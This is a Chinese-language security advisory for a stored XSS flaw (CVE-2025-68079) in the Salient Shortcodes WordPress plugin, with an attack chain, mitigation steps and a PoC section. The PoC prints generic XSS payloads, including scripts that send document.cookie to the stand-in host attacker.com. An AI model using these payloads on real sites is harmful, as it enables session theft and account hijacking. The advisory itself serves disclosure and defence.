CVE-2025-68079 Salient Shortcodes插件存储型XSS漏洞

漏洞信息

漏洞编号

CVE-2025-68079

漏洞类型

存储型XSS

CVSS评分

6.5 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

需要交互 (UI:R)

影响产品

ThemeNectar Salient Shortcodes (salient-shortcodes)

漏洞概述

CVE-2025-68079是WordPress插件Salient Shortcodes中的一个存储型跨站脚本(XSS)漏洞。该漏洞由于在网页生成过程中对用户输入未进行充分的过滤和转义处理，导致恶意JavaScript代码可以被永久存储在服务器端。当其他用户访问包含恶意代码的页面时，攻击者注入的脚本会在受害者浏览器中执行，从而窃取会话Cookie、劫持用户账户或进行其他恶意操作。由于该漏洞属于存储型XSS，其危害性高于反射型XSS，因为恶意代码会自动传播给所有访问受影响页面的用户。攻击者利用此漏洞需要拥有WordPress站点的一定访问权限（低权限），但需要诱导其他用户进行交互操作，如访问特定页面或点击链接。该漏洞影响了Salient Shortcodes 1.5.4及以下所有版本，CVSS评分6.5，属于中等严重程度。

技术细节

Salient Shortcodes插件在处理短代码(shortcode)内容时存在输入验证不足的问题。攻击者可以在使用该插件创建的短代码元素中注入恶意JavaScript代码。由于插件在保存或渲染这些短代码内容时未对特殊字符进行适当的HTML实体转义，攻击者植入的脚本会被浏览器直接解析执行。典型的攻击场景包括：1) 攻击者在支持短代码的输入字段中插入包含<script>标签或事件处理器(如onerror、onload)的恶意内容；2) 这些内容被保存到数据库中；3) 当其他用户访问包含该短代码的页面时，恶意脚本随页面内容一同加载并在用户浏览器中执行。由于CVSS向量显示需要用户交互(UI:R)和低权限认证(PR:L)，攻击者可能通过社会工程学手段诱导管理员或其他用户访问恶意页面，进而窃取管理员会话令牌或执行更高权限的操作。

攻击链分析

STEP 1

1

攻击者获取WordPress站点的低权限账户（如订阅者或贡献者角色）

STEP 2

2

攻击者在支持Salient Shortcodes的输入字段中注入包含恶意JavaScript的payload

STEP 3

3

恶意内容被保存到数据库，由于缺乏输入过滤，脚本代码被永久存储

STEP 4

4

当其他用户（如管理员或访客）访问包含该短代码的页面时，恶意脚本随页面一同加载

STEP 5

5

受害者的浏览器执行注入的JavaScript代码，导致Cookie、会话令牌等信息被窃取

STEP 6

6

攻击者利用窃取的凭证劫持用户会话，执行未授权操作或获取更高权限

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- Stored XSS PoC for CVE-2025-68079 -->
<!-- Inject this payload into any Salient Shortcodes input field -->

<!-- Basic script injection -->
<img src=x onerror="alert(document.cookie)">

<!-- Cookie stealing payload -->
<script>
  fetch('https://attacker.com/steal?c=' + encodeURIComponent(document.cookie));
</script>

<!-- Session hijacking payload -->
<script>
  var img = new Image();
  img.src = 'https://attacker.com/log?cookie=' + document.cookie + '&url=' + location.href;
</script>

<!-- Example: Using shortcode with malicious attributes -->
[some_shortcode attr1='" onerror="alert(String.fromCharCode(88,83,83))" x="']

影响范围

ThemeNectar Salient Shortcodes <= 1.5.4

防御指南

临时缓解措施

如果无法立即升级插件，可采取以下临时缓解措施：1) 临时禁用Salient Shortcodes插件或替换为其他安全替代方案；2) 限制低权限用户创建和编辑短代码内容的权限；3) 在Web服务器层面配置严格的Content-Security-Policy头部；4) 对所有短代码输出实施额外的输出编码处理；5) 监控和审查用户提交的所有内容；6) 考虑使用专业WAF服务提供商的规则来检测XSS攻击特征。